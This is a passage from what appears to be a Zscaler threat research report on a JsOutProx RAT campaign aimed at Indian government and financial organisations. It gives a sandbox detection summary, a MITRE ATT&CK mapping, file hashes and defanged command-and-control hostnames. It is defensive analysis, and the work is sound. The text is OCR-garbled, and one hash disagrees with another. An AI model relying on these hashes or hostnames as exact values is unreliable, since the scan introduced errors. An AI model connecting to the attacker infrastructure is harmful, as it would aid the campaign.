Figure 21 shows the Zscaler Cloud Sandbox successfully detecting the HTA-based backdoor which contains the JsOutProx
RAT.
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@5 zscaler Cloud Sandbox =
SANDBOX DETAIL REPORT #Hgh Rk * Modersia Rk Low Risk a8
Report ID (MD5): 23832DCE9E3A7C1AF4534FESCF7F461E Analysis Performed: 06/05/2020 11:28:45 File Type: hta

CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS

Class Type Threat Score Checks For Kemel Debuggers

Malicious Executes Massive Amount Of Sleeps In A Loop

Category 1 OD May Try To Detect The Virtual Machine To Hinder Analysis

No known Malware found
Malware & Botnet U

NETWORKING i STEALTH 2 SPREADING

* Uses Dynamic DNS Services Disables Application Error Messages.
* Detected TGP Or UDP Traffic On Non-standard Ports
Performs DNS Lookups

No suspicious activity detected
URLs Found In Memory Or Binary Data

INFORMATION LEAKAGE EXPLOITING PERSISTENCE

* Creates An Autostart Registry Key

Figure 21: The Zscaler Cloud Sandbox detection for the HTA-based backdoor.
Conclusion

This threat actor has a specific interest in organisations located in India and the content of the emails indicates a good
knowledge of topics relevant to each of the targeted organisations. The backdoors used in this attack are uncommon, such as

JsOutProx, which has only been observed in the wild once before in December 2019.

The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe.

MITRE ATT&CK TTP Mapping

Tactic Technique

Obfuscation Obfuscated Files or Information - T1027
Software Packing T1045

Persistence Registry run keys / Startup folder - T1060
Screen Capture T1113

System Shutdown/Reboot T1529

Mshta T1170

File and Directory Discovery T1083

Uncommonly Used Port T1065

Windows Management Instrumentation T1047

Indicators of Compromise (I0OCs)

Hashes
23b32dce9e3a7claf4534fe9cf7f461e — HTA file (JSOutProx)

0ac306c29fde5e710ae5d022d78769f6 — Java-based Backdoor
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Network indicators
scndppel.]ddns[.Jnet:9050

backjaadra[.]ddns[.]net:8999

Source: https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat
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